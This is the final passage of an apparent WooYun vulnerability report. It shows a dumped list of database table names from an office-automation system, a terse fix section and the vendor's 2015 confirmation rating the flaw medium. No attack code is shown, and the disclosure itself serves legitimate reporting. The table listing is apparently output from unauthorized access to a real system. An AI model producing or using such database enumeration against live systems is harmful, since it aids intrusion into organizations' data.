| tbPactCatalog |
| tbPactPurview |
| tbPactRequest |
| tbParamContent |
| tbParamTitle |
| tbPersonChange |
| tbPersonLabel |
| tbPic |
| tbPicTypeCh |
| tbPicTypeCh |
| tbPosition |
| tbPrjVisit |
| tbProAffair |
| tbProAssFUser |
| tbProAssRelaUser |
| tbProAssRemark |
| tbProAssignmentF |
| tbProClient |
| tbProDictionary |
| tbProEditBzFile |
| tbProEditFile |
| tbProFile |
| tbProLandmark |
| tbProMark |
| tbProMessage |
| tbProRecycleBin |
| tbProRemark |
| tbProType |
| tbProUser |
| tbProduct |
| tbProductUser |
| tbProjectNew |
| tbProjectNew |
| tbProjectState |
| tbPurview |
| tbPurviewTemp |
| tbQuickLinkInfo |
| tbQuickLinkInfo |
| tbRecOperate |
| tbRecordDoc |
| tbRecordDoc |
| tbRefrenceDiary |
| tbRefrenceNotice |
| tbResource |
| tbRoles |
| tbSYJB |
| tbSaleMoveHistory |
| tbSaleState |
| tbSalersGroup |
| tbSalersGroup |
| tbSalesVisit |
| tbServiceItem |
| tbServiceItem |
| tbShareFile |
| tbSharePurview |
| tbShareWorkFlow |
| tbSharefolder |
| tbSociety |
| tbSonCompany |
| tbStrategyLimit |
| tbSysDiary |
| tbTRSetup |
| tbTableID |
| tbTaskFile |
| tbTaskInfo |
| tbTeam |
| tbTodayReport |
| tbTrade |
| tbTransactor |
| tbUsebasicData |
| tbUserIndexConfig |
| tbUserIndexInfo |
| tbUserOperateDiary |
| tbVisitMethod |
| tbVoitureAssurance |
| tbVoitureAssurance |
| tbVoitureCheck |
| tbVoitureEvent |
| tbVoitureLend |
| tbVoitureOil |
| tbVoitureRepair |
| tbVoteOpintion |
| tbVoteitem |
| tbVoteitem |
| tbWFDFileNo |
| tbWFDFileNo |
| tbWFDFileNoSort |
| tbWkGroupUser |
| tbWorkFlow |
| tbWorkFlowSort |
| tbWorkFlowType |
| tbWorkGroupType |
| tbbasicDataCode |
| tbbasicDataCode |
| tbdept |
| tblanguage |
| tbpicTypeThr |
| tbwarrant |
| view |
+------------------------+

修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-07-29 09:53

厂商回复:

感谢,正在修复

最新状态:

暂无